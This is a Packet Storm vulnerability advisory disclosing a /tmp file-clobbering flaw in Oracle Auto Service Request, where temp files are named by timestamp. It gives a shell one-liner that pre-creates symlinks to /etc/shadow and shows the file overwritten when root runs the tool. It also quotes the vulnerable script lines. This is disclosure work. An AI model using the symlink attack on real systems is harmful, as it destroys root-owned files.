exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Oracle Auto Service Request File Clobber

Oracle Auto Service Request File Clobber
Posted Mar 1, 2013
Authored by Larry W. Cashdollar

Oracle Auto Service Request insecure creates files in /tmp using time stamps allow for root-owned files to be clobbered.

tags | exploit, root
SHA-256 | 62958024223f7ff7956367f2a7735ad90e0b9970a5455344602162eceb1fc1e4

Oracle Auto Service Request File Clobber

Change Mirror Download
Oracle Auto Service Request  /tmp file clobbering vulnerability

http://www.oracle.com/us/support/systems/premier/auto-service-request-155415.html
http://docs.oracle.com/cd/E18476_01/doc.220/e18478/asr.htm


I noticed it creates files insecurely in /tmp using time stamps instead of mkstemp(). You can clobber root owned files if you know when around the time the root administrator will be using this utility.



[larry@oracle-os-lab01 tmp]$ for x in `seq 500 999`; do ln -s /etc/shadow /tmp/status1_020213003$x; done


root executes the asr command:

[root@oracle-os-lab01 bin]# ./asr

register OR register [-e asr-manager-relay-url]: register ASR
unregister : unregister ASR
show_reg_status : show ASR registration status
test_connection : test connection to Oracle
.
.
.

version : show asr script version
exit
help : display a list of commands
? : display a list of commands


asr>

/etc/shadow is now overwritten with the contents of /tmp/status1_020213003722
root # cat /etc/shadow

id State Bundle
68 ACTIVE com.sun.svc.asr.sw_4.3.1
Fragments=69, 70
69 RESOLVED com.sun.svc.asr.sw-frag_4.3.1
Master=68
70 RESOLVED com.sun.svc.asr.sw-rulesdefinitions_4.3.1
Master=68
72 ACTIVE com.sun.svc.asr.sw.http.AsrHttpReceiver_1.0.0
Fragments=73
73 RESOLVED com.sun.svc.asr.sw.http-frag_1.0.0
Master=72

67 ACTIVE com.sun.svc.ServiceActivation_4.3.1



Problem code:

The asr binary is a wrapper for a java class, the following snippet of code is where the error lies:


/sbin/sh:root@unix-solaris# grep -n tmp asr
409: file1=/tmp/status1_`date '+%m%d%y%H%M%S'`
410: file2=/tmp/status2_`date '+%m%d%y%H%M%S'`
411: file3=/tmp/status3_`date '+%m%d%y%H%M%S'`
557: file1=/tmp/status1_`date '+%m%d%y%H%M%S'`
681: file1=/tmp/status1_`date '+%m%d%y%H%M%S'`
691: file1=/tmp/status1_`date '+%m%d%y%H%M%S'`
706: file1=/tmp/parse_jetty_`date '+%m%d%y%H%M%S'`
710: file2=/tmp/parse_jetty_port_`date '+%m%d%y%H%M%S'`
797: file1=/tmp/status1_`date '+%m%d%y%H%M%S'`
987: hostnameTempFile=/tmp/status1_`date '+%m%d%y%H%M%S'`
988: tempFile=/tmp/status2_`date '+%m%d%y%H%M%S'`
989: tempHostname=/tmp/status3_`date '+%m%d%y%H%M%S'`
1303: file1=/tmp/status1_`date '+%m%d%y%H%M%S'`
1334: file1=/tmp/status1_`date '+%m%d%y%H%M%S'`
1343: file1=/tmp/status1_`date '+%m%d%y%H%M%S'`
1344: file2=/tmp/status2_`date '+%m%d%y%H%M%S'`
1345: file3=/tmp/status3_`date '+%m%d%y%H%M%S'`
1405: tempFile=/tmp/localsnmp_`date '+%m%d%y%H%M%S'`
2198: tempFile=/tmp/localsnmp_`date '+%m%d%y%H%M%S'`

This affects the software package on both Solaris and Linux.

Vendor notified about a month ago.

@_larry0
Larry W. Cashdollar
http://otiose.dhs.org/
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close